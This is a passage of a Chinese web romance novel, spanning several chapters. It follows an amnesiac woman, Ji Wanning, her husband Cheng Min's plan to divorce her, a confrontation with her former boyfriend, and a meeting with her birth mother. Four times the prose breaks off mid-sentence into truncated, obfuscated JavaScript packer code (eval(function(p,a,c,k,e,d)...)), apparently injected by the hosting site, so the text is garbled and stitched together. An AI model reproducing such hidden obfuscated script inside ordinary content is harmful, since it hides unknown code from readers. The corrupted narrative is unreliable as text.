他深吸一口气,再开口时,声音压低了很多:“直说吧,当年的话你有没有反悔?” 这话问得太直接,一下子就把两人的思绪拽回了季宛宁车祸那年。 那是季宛宁车祸醒来后的第三天。 程岷早上刚去医院看过她,回学校处理了点急事,又赶着回家做了午饭准备带过去。他提着保温桶到医院时,一眼就在住院部前台看见了风尘仆仆的邹文谦。 程岷在原地停了几秒,抬手压低了棒球帽的帽檐,没打算打招呼,转身就往电梯走。 可前台的护士眼尖,手一指:“喏,刚好季女士的家属来了,你可以跟他一起上去。” 程岷按电梯的手顿住了。 他侧过头,看向一脸焦急跑过来的人。 邹文谦是在国外接到消息后,立马就请假,找同学借了机票钱,买了最快的航班飞回来。 “阿岷!你电话怎么打不通?宛宁现在到底怎么样了?” “醒了。”程岷让开位置,给其他病人先上电梯,“但她现在不适合见人,出去说吧。” 他径直走到前台,跟护士交代:“麻烦等会儿查房的时候,帮我把这个带上去给307的季宛宁。” 说完,他没管邹文谦跟没跟上,转身就出了住院部大门,走到对面的一棵树下。 “不适合见人是什么意思?”邹文谦跟过去,又急又不解。 “失忆了。”程岷垂着眼,“所有人都不记得了,你现在上去可能会刺激到她。她这几天一直在发烧,今早才刚退。” 邹文谦愣了好一会儿,才慢慢消化掉“季宛宁失忆”这个事实。他了解程岷,知道他不是个会拿季宛宁的事开玩笑的人。 可他还是觉得不可置信,季家怎么突然间就成这样了?他不在的时候,季宛宁独自经历了多少他无法想象到的苦难? 他闭了闭又干又涩的眼睛,哑声道:“我现在能为她做些什么?我什么时候……才能去见她? 程岷抬步要走:“先回家睡会儿吧,等她状态稳定点了,我会告诉你。” “等等,”邹文谦叫住他,眉紧皱着,喉头也绷紧着:“宛宁对你不抗拒?” 程岷答非所问:“我只是在做我能做且该做的事。” 看着他进去住院部大楼后,邹文谦走到路边的角落,连着抽了两根烟,才勉强把思绪平复下来。 他望向三楼,看了又看,步子动了又收回,心头堵得厉害。 不能光等,他得做点什么。 他掐了烟,掏出手机,拨通了一个归属地地址为上海的电话。 “喂,宋秘书。您好,我是邹文谦。对,就是肖总资助的学生。请问现在肖总有空吗?我有很重要的急事……” 第二天的傍晚,邹文谦就等不下去了。他没剩多少时间,最迟明天中午就得登上回英国的飞机。 他打车来到住院部,拎着家里炖好的汤直接上了三楼。 电梯门一开,他就看见病房门口坐着两个熟面孔——方岐一和郑岩,都是程岷现在的舍友。他们以前经常一起打球,关系不算差。 “老方,郑……”他话没说完,那两人已经迅速站起身。 方岐一笑呵呵地走过来:“文谦,好久不见。你变化不小啊,喝过洋墨水是不一样。” “瘦了,”郑岩拍了拍他肩膀,“国外也挺熬人吧?” 邹文谦看着这两人的架势,心里突然就明白这他们是来拦他的。 他脸色变得极难看:“程岷让你们来堵我?” “不是不是,”方岐一连忙摆手,神色认真,“你也知道季宛宁现在的情况,她真不能见生人。我和郑岩来探病都只敢在门口看一眼,不敢进去。” “是啊,”郑岩叹了口气,“她现在一看见陌生脸,就会拼命去想认不认识,一想就头疼得厉害。” 他们表情都很诚恳,不是在糊弄人。邹文谦清楚。 可他今天非见不可。 他不是别人,他是季宛宁的男朋友。万一……万一见了面,她能想起点什么呢? 他冷声:“我是宛宁的男朋友,老方,你们这样拦我合适吗?” 话音刚落,病房门开了。 一身疲意的程岷从里面走出来,和两个室友说:“帮我守一会儿。” 方岐一脸了然,点头道:“行,有事打电话。” “额……”郑岩挠了挠头,“大家都是兄弟,你俩有事就好好商量,现在这种时候多一事不如少一事。” 可情绪濒临爆发的邹文谦根本听不进去。 他死死瞪着程岷,咬牙切齿地问:“程岷,你这么做到底什么企图?究竟是宛宁不能见人,还是你怕她见到我?” 程岷没看他,从他身边走过,“这里不是起争执的地方,跟我来。” 一门之隔,近在咫尺,却像隔着天堑。邹文谦用力咬了咬牙,把几乎要冲出来的怒气压回胸口,狠狠剜了那俩门神一眼,转身跟了上去。 两个人一前一后来到了天台,上面的风很大,呼呼刮着。 邹文谦刚才忘了把带来的鸡汤交给方岐一,怕汤冷掉,他一声不吭又折返回楼下。 这次他强硬地撞开郑岩,在病房门上的透明窗终于是看见了季宛宁。 她侧躺在病床上,背对着门。被子下的身形看着十分脆弱单薄,瘦瘦小小的,只看背影也能感觉出她没什么精神。 这画面让他心口抽痛,也让他更坚定了要带她走的念头。 重新回到天台,他直接说出了想法:“我要带宛宁去英国。” 程岷的脸色迅速沉了下来,“你认为以她现在的状况,出国是最好选择?” “不然呢?”邹文谦被冷风吹得清醒不少,情绪也压了下去,“据我所知……”说来他真该死,季家出事时,他和季宛宁正在冷战,他还逼着自己沉浸在学业里,以至于现在才知道这些消息…… “她出事前,一直被追债的人骚扰。季家的债务不是小数目,以她现在的样子,根本应付不了。留在广州一天,就得面对一天,去国外至少能让她暂时远离这些。” 他停了一下,有些无力地说:“而且失忆对她来说未必全是坏事,能把最近这些糟心事忘了,对她反而是种保护。” “我赞同你的说法,”程岷目光锐利,“可你凭什么会觉得她愿意跟着你去英国?” “你现在是被资助留学,就算利用周末去兼职,收入也只够勉强养活自己。她过去了住哪儿?和你挤在合租屋里?吃着最便宜的超市食品?文谦,我知道她不嫌贫爱富,但她过了二十多年优渥的生活,你是要让她过去陪你一起吃苦吗?” 冷风吹得人睁不开眼。 这是邹文谦这么多年来,第一次听程岷说如此多的话。 字字诛心。 他喉结艰难地滚动着:“难道留在这里她就能回到从前吗?我是她男朋友,照顾她是我的责任。如果你相信我,让我带着她离开,以后我绝不会让她吃苦。” “我信不了你。”程岷平静道,“因为你已经不是她的男朋友了。” 邹文谦立即反驳:“我和宛宁没有分手!” “这封信本该在上周你就收到了。”程岷从外套口袋里掏出一个薄薄的信封,边缘别着一朵小向日葵干花。 他用指尖捏着,举在两人之间,“宛宁从小就看重仪式感,她觉得分手不该只是发条消息、打几个字那么潦草。所以她写了这封信。” 再开口时,程岷的声音更冷了:“她为什么会和你提分手,你心里比我清楚。” 邹文谦当然知道原因。 他和季宛宁之间是出现了问题,但只是像很多情侣一样在争吵、在冷战,他从来没想过会走到分手这一步。现在她出了这些事,他就更不可能会放开她。 他盯着那封信——向日葵,是第一次约会时,他送过给季宛宁的花。他的心脏像被什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他双手胡乱抓着头发,哽咽着嘶吼:“程岷,你根本就没资格管宛宁!你算什么?顶多就是个陪她长大的朋友!我再不济,现在也还是她男朋友!你凭什么拦我带走她?!” “你四岁认识她,我十二岁认识她,就差八年而已!两家父母都知道我们的事,季叔叔季阿姨对我也没意见。我是穷,可我不懒,我有上进心,要是没上进心我会去英国拼了命地读书吗?” “你呢?你在乔家连话都说不上,这些年来活得比我还不如,你凭什么觉得自己比我更有能力照顾好她?” 这些话一句比一句重,从他自己嘴里说出来,连他自己都吃惊了一下。 这是邹文谦头一回把话说得这么难听。 以前他知道程岷的身世时,心里还替他难受,哪会用这个来戳他。 不过没关系,他含着泪,在心里对自己说,程岷早就不是他兄弟了,程岷也对他说了扎心的话。 他喘着粗气,像是抓住最后一根稻草:我已经联系了肖总,他答应帮助我带宛宁去英国。” 程岷靠在墙边,脸色很差,破皮红肿的右手搭在弓起的膝盖上。他喉结动了动,咽下嘴里那股血/腥味:“我不会让你带走她。” 邹文谦用力抹了一把脸,“我说了,你没资格拦我!” 程岷撑着墙,有些踉跄地站了起来。 他脸上的伤也不少,额角破了,下嘴唇裂了一个口子,一说话就有种撕裂般的痛:“肖总只资助了你学费,你的生活费是靠你自己打工,还有你妈现在一天打两份工挣来的。” “你年轻,能吃苦,可你妈呢?你还要让她因为宛宁而加重负担?”他停了一下,转过头,“文谦,你愿意回国吗?愿意放弃国外的学业和前程,现在就回来扛起她的一切吗?” 这些问题就像狠狠甩了邹文谦一巴掌,一下子就把他给打懵了。他动了动嘴,喉咙里却是一个字也挤不出来。 程岷把那封分手信扔在他身上。 “等你什么时候真有能力让她过上好日子,一点苦都不让她吃,活得至少不比以前差,”他抬脚往门口走,“到那时候你再来跟我说,你要带她走。” “你要我怎么信你?”邹文谦绝望地大喊,“你对宛宁什么心思我最清楚,难道你能保证接下来也只以朋友的身份在她身边吗?你能保证下一次我来找你,你会心甘情愿让她回到我身边?!” 程岷顿住脚步,手放在天台的门上,没有回头。 “不管是从前、现在还是未来,我和你都没有资格左右她的选择。” “如果真有这么一天,也该是看她自己的选择。” “程岷!” “你真畜生!” 身后的骂声猛地爆出来,像是用尽了浑身的力气,盖过了大风的呼啸声。 门被强风关上。 邹文谦在原地站了很久,才慢慢地弯下腰,捡起地上的信封。 三年过去,这封信邹文谦一次都没拆开过,他只取出了那朵向日葵干花放在钱包,信封一直锁在床头的铁盒里。 他固执地认为只要没看,他和季宛宁就不算分手。 他本来应该明年才毕业,但一心想要早点回来,便拼了命地压缩时间,没日没夜地修学分、做研究,硬是提前一年拿到了学位。 他觉得一切都还来得及。 12. 第 12 章 听完邹文谦的话,程岷盯着路对面那栋亮着灯的房子,静了好几秒。 “我当初说了什么?”他问。 “程岷,大家都不是小孩了,我不想再像以前那样靠打架来解决。在我印象里,你也不是个会耍无赖的人。”邹文谦很冷静地说,“现在我已经不是当年那个一无所有的穷学生了,我完全有了你当初说的‘让宛宁过上好日子’的能力。” 他一字一顿:“我要带走宛宁。” 程岷眉梢微挑,从外套口袋里摸出烟盒,指节在盒底一磕,一支烟就跳了出来。 他没点,只是凑近深深嗅了一下那股烟草味。 “那我是不是也说过,”他把烟拿开,“要她自己做选择。” “她什么都不记得,怎么选?”邹文谦差点要笑出来,“选朝夕相处了三年多的你,还是选我这样的‘陌生人’?这还用想吗?” “那你想怎样?” “和她离婚。” 程岷面色毫无波动,烟捏在手里。 “她现在顾虑着和你的婚姻,就算知道我和她以前的关系,也会想办法躲着我。”邹文谦盯着他,“你这样占着她,对我公平吗?” 程岷垂下手,“我会和她离婚。” 邹文谦愣了一下,没想到他会答应得这么干脆,而且还这么的平静。 “你说真的?”他的声音微抖。 “但不是现在。”程岷转过身,手指一折,把那支烟掰断在掌心,“就算离了,我也不会把她往你那儿推。” 说完,他绕过邹文谦往回走。 院子里不算很黑,隔壁乔家的灯光照过来一些。 程岷低着头,没有看脚下。 忽然“咔啦”一声轻响,脚边似乎有东西被他踢倒了。弯腰一看,几个花花绿绿的小纸筒,是季宛宁傍晚玩的小烟花。 他蹲下来,一个个捡进墙边的大纸箱里,随后走进客厅,换鞋时顺手按亮了沙发那处的小灯。 他走过去坐下,背挺着,手搭在膝盖上,没说话也没动,就那么坐着。眼睛看着对面的墙,也不知道在看什么。 整个客厅只有墙上的钟有动静,滴答滴答响。 突然,背后传来一丝轻微的响动,一听便知道是开门的声音。 程岷闻声转过头,眼里闪过一丝意外。 季宛宁穿着睡衣站在卫生间门口,手握着门把,头发有些乱,脸上带着没完全清醒的倦意:“你刚才去哪儿了?” 她忍不住打了个哈欠,声音软绵:“我憋尿憋醒了,发现你不在房间,就想着下来看看,顺便在这儿上了个厕所。” 程岷看她那副睡眼惺忪的模样,确实像是刚从床上爬起来。 他站起身:“于海来了电话,说过几天得在这边见个导演。” 季宛宁见他走过来,下意识把火辣辣的右手往睡衣口袋里缩。 “哦,”她含糊地应了一声,眼神飘向别处,“太困了,我先上去睡了。” 刚要走,手臂就被拽住。 她抬起头,不解地看着程岷。 程岷盯着她的双眸看,“眼睛怎么红了?” “有吗?”季宛宁抬手想去揉,那只手却也被他握住。 “可能是没睡好吧,”她笑了笑,把两只被控制的手都抽了回来,“而且我下午不是才哭过一场嘛,眼睛红很正常。” “你还要忙吗?不忙也早点休息吧。”她又打了个哈欠,抬脚往楼梯走,“我真的撑不住了。” 这回程岷没再拦她。 回到卧室,季宛宁关上门,摊开右手手掌,几处擦破的地方红红的,痛感还越来越明显。 鼻子一酸,眼眶又热了起来。 她此刻的难过,并不是因为手疼。 她躺进被窝,把脸埋进枕头里。 没过多久,程岷上来了,手里端着一杯温水,问她喝不喝水。 她没有应声。 他等了一会后放下水杯,也躺了下来。大约过了十分钟,他从身后抱住了她。她没有动弹,一直在装睡。 装着装着,也真睡了过去。 / 第二天早上,季宛宁醒来时看见床头柜上放着一个厚厚的红包。她盯着看了好一会儿,伸手摸了摸,又缩回来。 身后的位置已经空了,程岷很早就起了床。 她没动那个红包,掀开被子去了浴室。刷牙时,看着镜子里那张没什么血色的脸,季宛宁皱了下眉,把嘴里的泡沫吐掉,又低下头加快速度刷了几下。 今天是大年初一,丧着脸不吉利。 从浴室出来,她走到衣柜边,在背包里翻出几个创口贴。本来想自己把右手掌心的擦伤处理一下,但在撕包装纸时她停住了。过了几秒,创口贴回到了原来的地方。 换好衣服下楼,刚走到楼梯口,就看见程岷端着一碗热气腾腾的东西从厨房里走出来。 她脚步一顿,右手像是又疼了起来。 程岷把刚出锅的鸡汤米线稳稳放在桌子上,转头看她:“刷牙了么?” 季宛宁迅速整理好情绪,点点头,继续朝下走。 “我回个电话给于海,”程岷走到沙发边,拿起手机,“你先吃,汤要喝完。” 他走向阳台,玻璃门只拉上了一半。 面香汤浓,鸡肉炖得酥烂,季宛宁就算再没心情吃东西,也被这碗面勾出了食欲。 她拿起筷子,在碗里翻拣了几下,挑出几块没什么皮的鸡肉拨进程岷的面碗里。 “我不同意。”就在她喝汤的时候,阳台传来程岷冰冷的声音。 她不由得放下调羹,往阳台那边看。 于海人很好,做事也靠谱,两个人搭档这么久,很少见程岷用这种语气和他说话。 是工作出什么问题了? 季宛宁立刻拿出手机,点开微博,快速扫了一眼热搜榜,又点进程岷的个人超话。节目晚上才播,超话里一片祥和,打家都在发新年祝福和购买的杂志打卡,没什么不对劲的。 等程岷打完电话回来,她已经把面吃完了。擦嘴时,她瞥了几眼他的脸色,不是想象中的生气脸。 “出什么事了?”她问。 “没事,”程岷拿起筷子,“公司多安排了一项工作。” 可他一向是个工作狂,有工作就会接,能让他亲口说出不同意的……季宛宁马上就想到了是什么,“拍吻戏?” 闻言,程岷停下手上的动作,看着她,并没回答。 她垂了垂眸,放在口袋里的右手悄悄握紧:“其实如果你……或者是经纪公司觉得当初签的不拍吻戏那条限制了你的话,以后可以不用太顾虑着我。” 话音刚落,旁边的男人似乎笑了一声。 “只要还干演员这一行,”他说,“我就不会拍任何亲密戏。” 毫无疑问,季宛宁是相信这个承诺的,但她听着却怎么也开心不起来。 “公司想让我杀青后开始筹备演唱会。”程岷说。 “啊?”季宛宁惊讶得整个身子都转了过去,面对着他,“演唱会?” 难怪他会对于海生气,这都跨界了。上回费导的电影,程岷身为配角但因为某个靠实力飙戏的片段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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门外站着一对中年夫妻,男的穿着高领毛衣和西裤,身形高大,鼻子简直和程岷一模一样,都很高挺流畅。女人的气质很好,穿着羊绒外套,戴着珍珠项链,肤白丰韵。 两人一看见季宛宁,脸上立刻露出又高兴又心疼的表情。 乔景辉还松了口气,他真怕程岷这小子把人家女儿带走,又不好好对待。 “宁宁,好耐冇见。” 俞佩华上前拉住季宛宁的手,目光柔和地看着她:“宁宁,你终于回来了,阿姨还以为你出什么事了,这多年都不回家看看。”说着,态度一转,“都怪那个程岷,招呼都不打一声就带走你,害我们找都找不到。” 季宛宁任由俞佩华拉着手,眼神有点茫然和好奇,安静地打量着他们。 她和这对夫妻从前的关系很好吗? 程岷从门边走了出来。 俞佩华的面色马上就变了,完全没有刚才那副和蔼可亲的样子。 “……叔叔,阿姨,新年好。”季宛宁这才礼貌开口,语气很生疏。 之后他们都进来了,一人给了她一个看起来就很丰厚的红包,拉着她在客厅里聊天。程岷倒好茶后就去餐厅那边坐着了。 一个人,孤零零的。 季宛宁越想越头疼,他明明看着这么孤单,为什么会突然想和她离婚? 13. 第 13 章 “你和乔宇乔昭出生就差七天,当年我和你妈妈在月子中心还是隔壁房呢。”俞佩华说话时客厅本就安静,她说到最后那句,声音又刻意扬高了点,“那时候她还给你和乔宇定了娃娃亲。” 乔景辉放下茶杯,看了妻子一眼:“佩华,现在说这些做什么。”话里意思是,关于季宛宁妈妈的事、娃娃亲这种事,现在都不该提。 季宛宁能感受到这对夫妻对她都是充满善意和喜爱的,但也能感觉出俞佩华对程岷的不喜欢,这让她心里有些发堵。听到“娃娃亲”这种话,也只觉得尴尬。 她忽然皱了皱眉,抬手扶住额头:“那个……叔叔,阿姨,不好意思,我头好像有点疼……” “不要紧吧?”俞佩华连忙关切道。 季宛宁乖巧道:“休息一下就没事了。” “那赶紧去房间休息,什么都别去想。”乔景辉拍了拍俞佩华的手,“我们也该回去了,一会儿苏苏她们就要来拜年了。” 俞佩华站起身,又温和地笑了笑:“中午家里会来很多小朋友,估计会很吵,我就不叫你过去吃饭了,晚点让昭昭给你送点花胶汤过来。” 季宛宁一个劲地点头,“谢谢阿姨。” 俞佩华亲昵地轻轻捏了捏她的脸颊:“傻女,别跟阿姨这么客气。你小时候我去帮你开过家长会,你还抱着我的脖子喊过‘妈咪’呢……” 正说着,外面隐约传来汽车驶近的声音。 “她们到了。”乔景辉侧身往餐厅看,“程岷,好好照顾宁宁。” 程岷微一点头。 季宛宁还是礼貌地送了他们出去。 铁门一关上,整栋房子都安静下来。她吐了吐气,一转身,就看见程岷斜靠在客厅门边,正看着她。 她在原地站了会儿,像下了什么决心,快步走过去,一头扎进他怀里。 程岷的手掌覆在她脑后,慢慢抚着,“真疼?” “假疼。”她抱着他的腰,脸贴在他胸口,耳朵正对着心跳的地方,“你不喜欢的人,我也不会喜欢。” 顿了顿,她又闷声补了一句:“我只想喝鸡汤,不想喝花胶汤。” 过了好一会儿,头顶才传来他的声音,低低的,很温柔。 “进去吧,再给你盛一碗。” 季宛宁没动,眼睛落在那棵挂着秋千的老树上,很坚定地说:“程岷,以后你不用再给我生活费了。阿姨也不用请,饭我自己做,卫生我自己搞。你以前给我的钱,大部分我都放在了基金里。现在我工作也稳了,以后家里的开销都由我来出。” 程岷抚在她后脑勺的手蓦地停住。 他没说话,低头看着她。 “基金我买的是债券,涨得不多,但一个月里差不多有25天都是红的,本金没亏过。”季宛宁说完,把头抬起来,让他看清自己脸上的认真。 程岷还是没接话,唇微微抿着,眼神很淡,就那么看着她。 对视了几秒,她脖子先酸了,又趴回他胸口。 “怎么突然说这些?”他终于开口。 “不突然,我想很久了。”她说,“我想独立一点,以前总是你什么都安排好,我只需要想着早上几点起床,其他的事都不用管。” “但那时候我刚恢复,身体也不好,说这种话自己也觉得没底气。现在不一样了,我身体好了,工作也稳定了。” 她把脸往他衣服上蹭了蹭,声音放轻了些:“你以后不需要因为我,给自己太大压力了。你顾着自己就行,我是个成年人了,完全能独立,能照顾好自己。” 她的话说完,程岷又是一阵持久的沉默。 乔家那边热闹得很,小孩在院子里玩丢丢炮,一颗接着一颗往地上砸过去,“啪”“啪”地响,夹着笑闹声和大人呵斥的声音。 隔了一道墙,这边安静得只有风声。 过了很久。 “好。” 程岷的声音几乎被墙外那声炮仗盖过去。 季宛宁抬起头,看着他。 他脸上并没有那种如释重负的表情,相反的,他低着眼,睫毛下一片很明显的阴影,不知是不是她的错觉,她感觉他的面色比刚才要苍白很多。 病态的那种白。 程岷别开脸,慢慢把手从她腰后抽回去,“我支持你的想法,并且认同你说的你能独立。” 他握住她的手腕往里面走,“喝汤吧。” 被拉着走到餐厅,季宛宁也混乱了,她看着程岷过度平静的脸,越发看不懂了。听见她那些话,他怎么一点高兴的感觉都没有? 难道她猜错了他要离婚的原因? 程岷端着刚盛好的汤从厨房里出来,看见乖乖坐在餐桌前的人,双手托腮,像是在思考什么。 他把汤放在她面前,“先喝点,我去下厕所。” 季宛宁点点头,拿起调羹。 他走到客厅时,她侧过头看了一眼。 明明一楼就有洗手间,他怎么往楼上走了? 乔昭在这时来了。 她今天穿了条正红色的旗袍,外搭羊绒披肩,明艳又张扬。 不得不说,乔家的基因是真的很好。 “家里那群小屁孩吵得我头疼,要不我去你家坐坐?”她双手抱臂,冷哼了声,“本来想拉乔宇一起来的,他死活不肯。我看他就是见不得你和程岷在一块儿,妒忌得要死。” …… 季宛宁一手端着她带来的花胶汤,用中指按了按太阳穴:“我也正打算睡会儿。” 乔昭打了个哈欠:“那我也回去睡,下午约了几个高中同学,估计又要喝到半夜。” 她看向季宛宁:“他们听说你回来了,都在群里叫我带上你。” 季宛宁摇头:“去了也尴尬。” 她确实是想找回记忆,但不想去参加没有意义的社交,还不如让程岷下午陪她去外面走走。 “也是。”乔昭没勉强,挥挥手,“那你睡吧,我走了。” 说完转身。 她眼尖,一眼就看到了不知什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你说什么我也不会和邹文谦见面!”季宛宁转身就走。 程岷愣了一下,快步追上她,“不是他,怎么可能会是他。” “那不然是谁?” “你现在情绪激动,我担心说出来后会让你头疼。”他说,“我需要慎重一点。” 季宛宁信誓旦旦地告诉他:“现在除了邹文谦,谁来也不会让我情绪有波动。” 程岷垂下眼皮,“行。” 他进了书房,没多久后拿着一个有些旧但很干净的相册走出来,牵起她的手往楼下走。 季宛宁看见那本相册的封面上,有几个歪歪扭扭的彩色笔迹——最、爱、的、妈、妈。 如果里面只是她和妈妈的照片,程岷不会这么谨慎。 那这里面的会是谁? 14. 第 14 章 幸福的家庭是什么样的,最明显的就是有一个在爱里长大的孩子。 季宛宁一直以为自己就是那种孩子。 可为什么她房间里的那张全家福,她会摆出那样一副不开心的表情? 程岷终于给了她答案。 原来照片里的女人和她没有任何血缘关系,而她的亲生母亲——关咏岚,在他手中的那本相册里。 她坐了很久才把相册翻开。 第一页,是个襁褓里皱巴巴的小婴儿,被一双年轻纤细的手托着。 第二页,婴儿车里的她戴着小帽子,旁边蹲着个漂亮女人。 第三页、第四页、第五页,每一张都有她,每一张都有那个女人。 女人很瘦很高,五官生得清冷,但看向镜头时的眼神是软的,是那种藏都藏不住的欢喜。 季宛宁盯着那些照片,盯着那个她完全没有印象、却莫名让她心口发紧的女人。 “还好吗?”程岷扶着她的脸颊,要看她的脸色。 “我挺好的。”她面色发白,眼眶湿湿的,笑得有些牵强,“程岷,原来我有两个妈妈。我是不是可以理解为,一个生我,一个养我,但她们都很爱我。” 程岷没有立即给出肯定的回答。 他本来没打算让她们见面。 是对方在电话里一次又一次地开口,态度一次比一次恳切。她说自己亏欠太多,不求宛宁原谅,哪怕只是远远看她一眼也知足了。 话说到这个份上,他才松了口。 他想过了。 如果这次见面能发展成好事,如果季宛宁能重新有个家人,往后的日子就会多一个人惦记她、牵挂她。 “上一辈之间发生的事,和我们小辈没关系。”程岷说,“天下没有不爱自己孩子的母亲。” 季宛宁合上相册。 “她什么时候离开我的?” “大概在你两岁那年。” 她哦了一声。这么早就分开了,那她就算没失忆,或许也不会记得自己有个亲妈。 “后来见过吗?” 程岷没瞒她:“没有。” 季宛宁点点头:“那她现在怎么突然要见我?总不能是新闻上常见的那种,年轻的时候不闻不问,等老了,需要儿女养老就出现了?” 她脸上看不出什么波澜,不喜也不悲。 她的心理承受能力远比程岷想象得要强。程岷告诉她不是这样的。 “这几年她时常会联系我,想要见你,但我都拒绝了。” “那为什么现在又同意了?” 因为想跟我离婚了,好把我推给别人。这句话几乎要冲出来。 季宛宁压下去,替他答了:“知道我出事以后,她放心不下,所以想来找我。但你怕我见到她情绪会受影响,一直没安排。” 程岷看了她许久,才说:“你心里但凡有一点点不愿意,那就不见。” “她说完全尊重你。” “见。”季宛宁从沙发上站起来,“你问问她爱吃什么,晚上我们做她爱吃的。” “还是说出去吃?她会不会不想来这里?” “出去吧。”在沉默片刻后,程岷说。 季宛宁点头:“那我上楼去准备准备。” 她在楼上待了很久,下楼时身上穿得还是原来那套衣服,唯一的变化是把头发扎了起来。 程岷刚接的电话,见她下来了,和那头的人说了声就挂了。 季宛宁坐回刚才的位置,“如果一会儿见到她了,我表现得很平静,她会不会伤心啊?” 程岷把手机放到一边,“按你的真实反应来,不用刻意做什么,那样太累了。” / 关咏岚比他们早到饭店。 她独自在包厢里,没有坐,只是站在窗边。偶尔走两步又停住,手指搭在窗框上,目光落在外面,也不知在看什么。 她如今比以前更清瘦了,气质透着一股淡如水的静。 今天穿的这条裙子,是当年离开广州那天穿的。裙子的胸口处,曾被那天嚎啕大哭的季宛宁的泪水打湿过。 她抚着那个位置,深深地吸了一口气。 二十多年了。 在进包厢前,季宛宁突然停住脚步,“程岷……” 程岷回头看她,“想回去?” “不是,突然有点尿急。”她尴尬笑着,“我想去厕所。” 程岷看了她一眼,没戳破。 他抬手压了压帽檐,牵着她转身往饭店外面走。 “饭店里不是有厕所吗?”季宛宁问。 “去远一点的。” 她抿着唇笑了一下,明白他是想让她缓缓。 但该来的总是要来的。 程岷推开包厢门的那一刻,季宛宁觉得自己的心都快跳出来了。 那个和照片上一模一样的女人就站在门口。 两个人四目相对。 她没动,只是更用力地握紧了程岷的手。 关咏岚的眼睛一瞬间就红透,她怕自己失态,连忙让他们先进来。 包厢的三个人里,爱说话的人只有季宛宁,可她像哑了一样,垂着眼,手也不知道往哪儿放,坐得浑身不自在。 关咏岚想打破沉默,伸手去够茶壶。 坐在母女俩中间的程岷先起了身:“我来。” 进来前程岷答应了季宛宁,不能离开她身旁半步,所以他倒茶都是站在原位。 很安静,安静得诡异。 “宛……” 关咏岚刚开口,服务员敲门进来了。 “您好,现在可以点菜了吗?” “可以。”关咏岚应了一声,顿了两秒,才转过来看季宛宁,比刚才稍显自然地开口:“宛宁,你有想吃的菜吗?” 季宛宁摇头:“我随便就好。” “好,那我来点。”关咏岚转向服务员,报了一串菜名。 最后补了一句:“鱼要两条,我女……女儿喜欢吃鱼皮。” 季宛宁低下头,睫毛动了动。 她一听就知道是程岷告诉关咏岚的,点的全是她喜欢吃的菜。 吃饭时,关咏岚换了位置,坐到了季宛宁左手边。 她没有急着表现什么,也没有过多追问,只是偶尔轻声细语地问一句: “这个辣不辣?” “要喝汤吗?” 季宛宁也会回应她,尽管并不热情。 程岷全程安静地坐在旁边,没有介入,由着季宛宁自己去感受、去适应。 一顿饭吃得比想象中平静。 分别时,关咏岚站在饭店门口,哪怕万般不舍,也没有开口多留。 “宛宁,”她看着季宛宁,温柔道:“我会在广州过完年再走。过几天你要是有空,要不要跟我一起去外婆家那边走走?” 季宛宁直视着她:“如果有空我会给你打电话。” 关咏岚眼眶一下就热了。 她点点头,没让眼泪掉下来。抬手取下肩上的披肩,上前一步,披在季宛宁身上,掌心在季宛宁肩头抚了抚才收回手。 “回去吧,早点休息。” 季宛宁没动。 程岷上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她不想说话,一直盯着屏幕。 程岷把车开到了广州市民放烟花的地方。 那边很热闹,新年的烟花一簇接着一簇地升起,照亮半边天。 季宛宁在车里看了一会儿,说:“下去看吧。” 两个人找到一处人少的地方。 程岷脱下外套,对折了一下铺在地上。 “我想听你唱歌。” 季宛宁知道程岷喜欢陈奕迅,他是地地道道的广东人,粤语说得好听,每次剧宣都有人起哄让他唱几句。 “唱十面埋伏?” “嗯。” 程岷清了清嗓,看着漫天的烟火,开口唱道:“闻说你,时常在下午,来这里寄信件……” 季宛宁单手托着腮,听他低低地唱。 “天空闪过灿烂花火,和你不再为爱奔波……” “程岷。”她在这时忽然叫他。 “嗯?” 天空‘嘭’一声,今晚最大的一个烟花在天空中完美盛开。 她转过头:“我不明白。” 程岷凑近了些想听清她说话,才发现她脸上全是眼泪。 “程岷,”她声音发抖,眼泪止不住地往下掉,“我不明白……我真的不明白。” “你为什么要跟我离婚?” 15. 第 15 章 程岷猛地怔住。 头顶的烟花还在继续,一朵接一朵,把季宛宁的脸照得忽明忽暗。 可她的眼泪,清清楚楚地落在他眼里。 他像是被人抽干了所有力气,不会说话,也不会动。手抬了好几次,抬到一半又放下,怎么都够不到她的脸。 旁边有笑声传过来。 一家三口从他们身边走过,小女孩被爸爸扛在肩上,两只小手举得高高的,指着天上绚烂的烟火,兴奋地喊:“爹地妈咪,我哋要一齐睇好多年好多年嘅烟花!年年都要!” 年轻的父母同时笑着应:“好,年年都陪住你睇!” 一家人渐行渐远,他们幸福得像是在另一个世界。 程岷终于找回了自己的声音:“你……怎么知道的?” 季宛宁没说话,只看着他哭,眼泪流得很凶,就这样盯着程岷,像是在等他给一个解释。 程岷喉结滚动了几下,别开脸。 “谁告诉你的?”他问。 这些话问出来,他自己都觉得没意思。 现在问她怎么知道的、谁说的,还有什么意义?她已经知道了。在他还没勇气开口之前,她已经知道了。 季宛宁慢慢抬起右手,掌心的擦伤还红着,没有处理过,伤口边缘有点干,看着就疼。 她就是想让程岷看见。 想让他心疼,想让他心软。 程岷眉头一皱,抓住她的手腕,把那道伤口凑到眼前,仔细看了看,又翻过来检查其他地方。 “怎么弄的?”他神色变得很严肃。 